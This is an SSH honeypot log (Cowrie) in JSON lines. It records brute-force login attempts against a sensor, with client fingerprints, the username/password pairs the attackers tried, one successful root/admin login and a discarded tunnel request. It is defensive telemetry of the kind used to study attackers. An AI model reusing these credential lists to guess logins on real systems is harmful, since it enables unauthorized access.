{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:22:37.232316Z","src_ip":"2.57.122.210","session":"8682eb2a43f8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"validator","message":"login attempt [sol/validator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:22:37.545146Z","src_ip":"2.57.122.210","session":"8682eb2a43f8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:22:38.646696Z","src_ip":"2.57.122.210","session":"8682eb2a43f8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":22375,"dst_ip":"10.17.0.5","dst_port":22,"session":"5422914ab92a","protocol":"ssh","message":"New connection: 2.57.121.112:22375 (10.17.0.5:22) [session: 5422914ab92a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:22:42.562030Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:22:42.566939Z","src_ip":"2.57.121.112","session":"5422914ab92a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:22:42.670793Z","src_ip":"2.57.121.112","session":"5422914ab92a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"808state","message":"login attempt [admin/808state] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:22:43.158462Z","src_ip":"2.57.121.112","session":"5422914ab92a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"8008","message":"login attempt [admin/8008] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:22:44.263441Z","src_ip":"2.57.121.112","session":"5422914ab92a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"78678","message":"login attempt [admin/78678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:22:45.369575Z","src_ip":"2.57.121.112","session":"5422914ab92a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"7788","message":"login attempt [admin/7788] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:22:46.476576Z","src_ip":"2.57.121.112","session":"5422914ab92a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"130.250.191.201","src_port":46486,"dst_ip":"10.17.0.5","dst_port":22,"session":"45739dfd72bc","protocol":"ssh","message":"New connection: 130.250.191.201:46486 (10.17.0.5:22) [session: 45739dfd72bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:22:47.531336Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:22:47.535761Z","src_ip":"130.250.191.201","session":"45739dfd72bc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"777Angel","message":"login attempt [admin/777Angel] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:22:47.582602Z","src_ip":"2.57.121.112","session":"5422914ab92a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:22:47.781368Z","src_ip":"130.250.191.201","session":"45739dfd72bc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:22:48.688419Z","src_ip":"2.57.121.112","session":"5422914ab92a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo","password":"Odoo123","message":"login attempt [odoo/Odoo123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:22:48.826711Z","src_ip":"130.250.191.201","session":"45739dfd72bc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:22:50.078881Z","src_ip":"130.250.191.201","session":"45739dfd72bc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.108.125","src_port":55268,"dst_ip":"10.17.0.5","dst_port":22,"session":"e6b9369a022c","protocol":"ssh","message":"New connection: 101.36.108.125:55268 (10.17.0.5:22) [session: e6b9369a022c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:22:59.861997Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:22:59.866131Z","src_ip":"101.36.108.125","session":"e6b9369a022c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:23:00.080490Z","src_ip":"101.36.108.125","session":"e6b9369a022c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"iksi","password":"iksi123!","message":"login attempt [iksi/iksi123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:23:00.971669Z","src_ip":"101.36.108.125","session":"e6b9369a022c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:23:02.188465Z","src_ip":"101.36.108.125","session":"e6b9369a022c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.238.160.191","src_port":54940,"dst_ip":"10.17.0.5","dst_port":22,"session":"bee0360f817a","protocol":"ssh","message":"New connection: 170.238.160.191:54940 (10.17.0.5:22) [session: bee0360f817a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:23:03.651621Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:23:03.656100Z","src_ip":"170.238.160.191","session":"bee0360f817a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.77.150.119","src_port":51524,"dst_ip":"10.17.0.5","dst_port":22,"session":"e7f5ec564f29","protocol":"ssh","message":"New connection: 37.77.150.119:51524 (10.17.0.5:22) [session: e7f5ec564f29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:23:03.757489Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:23:03.762077Z","src_ip":"37.77.150.119","session":"e7f5ec564f29","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:23:03.767605Z","src_ip":"170.238.160.191","session":"bee0360f817a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:23:03.896694Z","src_ip":"37.77.150.119","session":"e7f5ec564f29","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sftpuser","password":"sftpuserpass","message":"login attempt [sftpuser/sftpuserpass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:23:04.261815Z","src_ip":"170.238.160.191","session":"bee0360f817a","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:23:04.309757Z","src_ip":"37.77.150.119","session":"e7f5ec564f29","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"37.77.150.119","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:23:04.447068Z","session":"e7f5ec564f29","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:23:04.581536Z","src_ip":"37.77.150.119","session":"e7f5ec564f29","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:23:04.718348Z","src_ip":"37.77.150.119","session":"e7f5ec564f29","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:23:05.374332Z","src_ip":"170.238.160.191","session":"bee0360f817a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":43024,"dst_ip":"10.17.0.5","dst_port":22,"session":"3e40b684a69d","protocol":"ssh","message":"New connection: 193.32.162.145:43024 (10.17.0.5:22) [session: 3e40b684a69d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:23:15.780268Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:23:15.784534Z","src_ip":"193.32.162.145","session":"3e40b684a69d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:23:15.890546Z","src_ip":"193.32.162.145","session":"3e40b684a69d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"validator","password":"solana","message":"login attempt [validator/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:23:16.273215Z","src_ip":"193.32.162.145","session":"3e40b684a69d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:23:17.379197Z","src_ip":"193.32.162.145","session":"3e40b684a69d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":51720,"dst_ip":"159.203.135.109","dst_port":22,"session":"863f16298aa6","protocol":"ssh","message":"New connection: 2.57.121.112:51720 (159.203.135.109:22) [session: 863f16298aa6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:24:02.444604Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:24:02.449610Z","src_ip":"2.57.121.112","session":"863f16298aa6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:24:02.553776Z","src_ip":"2.57.121.112","session":"863f16298aa6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"808state","message":"login attempt [admin/808state] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:24:03.043247Z","src_ip":"2.57.121.112","session":"863f16298aa6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"8008","message":"login attempt [admin/8008] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:24:04.148996Z","src_ip":"2.57.121.112","session":"863f16298aa6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"78678","message":"login attempt [admin/78678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:24:05.254708Z","src_ip":"2.57.121.112","session":"863f16298aa6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"7788","message":"login attempt [admin/7788] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:24:06.363676Z","src_ip":"2.57.121.112","session":"863f16298aa6","protocol":"ssh"}
